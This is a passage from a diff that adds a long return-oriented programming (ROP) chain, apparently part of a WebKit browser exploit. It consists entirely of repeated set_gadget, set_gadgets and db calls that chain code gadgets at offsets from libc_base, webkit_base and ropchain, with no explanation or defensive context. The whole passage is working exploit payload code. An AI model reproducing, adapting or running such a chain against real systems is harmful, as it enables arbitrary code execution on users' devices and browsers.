+libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+111016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+111112, +webkit_base+4687784, +libc_base+768796 +]); +db([23, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+111208, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+111224, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+111312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+111368, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+111440, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+111496, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+111648, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+111736, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+111752, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+111896, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+111864, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+111880, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+111968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+112024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+112120, +webkit_base+4687784, +libc_base+768796 +]); +db([24, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+112216, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+112232, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+112320, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+112376, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+112448, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+112504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+112608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+112696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+112712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+112856, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+112824, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+112840, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+112928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+112984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+113080, +webkit_base+4687784, +libc_base+768796 +]); +db([2, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+113176, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+113192, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+113280, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+113336, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+113456, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+113544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+113560, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+113704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+113672, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+113688, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+113776, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+113832, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+113928, +webkit_base+4687784, +libc_base+768796 +]); +db([25, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+114024, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+114040, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+114128, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+114184, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+114256, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+114312, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+765023, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+114464, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+114552, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+114568, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+114712, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+114680, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+114696, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+114784, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+114840, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+114936, +webkit_base+4687784, +libc_base+768796 +]); +db([26, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+115032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+115048, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+115136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+115192, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+115264, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+115320, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+115472, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+115560, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+115576, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+115720, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+115688, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+115704, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+115792, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+115848, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+115944, +webkit_base+4687784, +libc_base+768796 +]); +db([27, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+116040, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+116056, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+116144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+116200, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+116272, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+116328, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+116432, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+116520, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+116536, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+116680, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+116648, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+116664, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+116752, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+116808, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+116904, +webkit_base+4687784, +libc_base+768796 +]); +db([1, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+117000, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+117016, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+117104, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+117160, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+117280, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+117368, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+117384, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+117528, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+117496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+117512, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+117600, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+117656, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+117752, +webkit_base+4687784, +libc_base+768796 +]); +db([28, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+117848, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+117864, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+117952, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+118008, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+118080, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+118136, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+2847363, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+118288, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+118376, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+118392, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+118536, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+118504, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+118520, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+118608, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+118664, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+118760, +webkit_base+4687784, +libc_base+768796 +]); +db([29, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+118856, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+118872, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+118960, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+119016, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+119088, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+119144, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+119296, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+119384, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+119400, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+119544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+119512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+119528, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+119616, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+119672, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+119768, +webkit_base+4687784, +libc_base+768796 +]); +db([30, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+119864, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+119880, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+119968, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+120024, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+120096, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+120152, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+2989859, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+120256, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+120344, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+120360, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+120504, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+120472, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+120488, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+120576, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+120632, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+863109, +libc_base+713278, +ropchain+120728, +webkit_base+4687784, +libc_base+768796 +]); +db([7, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([8, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+120824, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+120840, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+844101, +libc_base+713278, +ropchain+120928, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+120984, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+121104, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+121192, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+121208, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+121352, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+121320, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+121336, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+121424, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+121480, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, 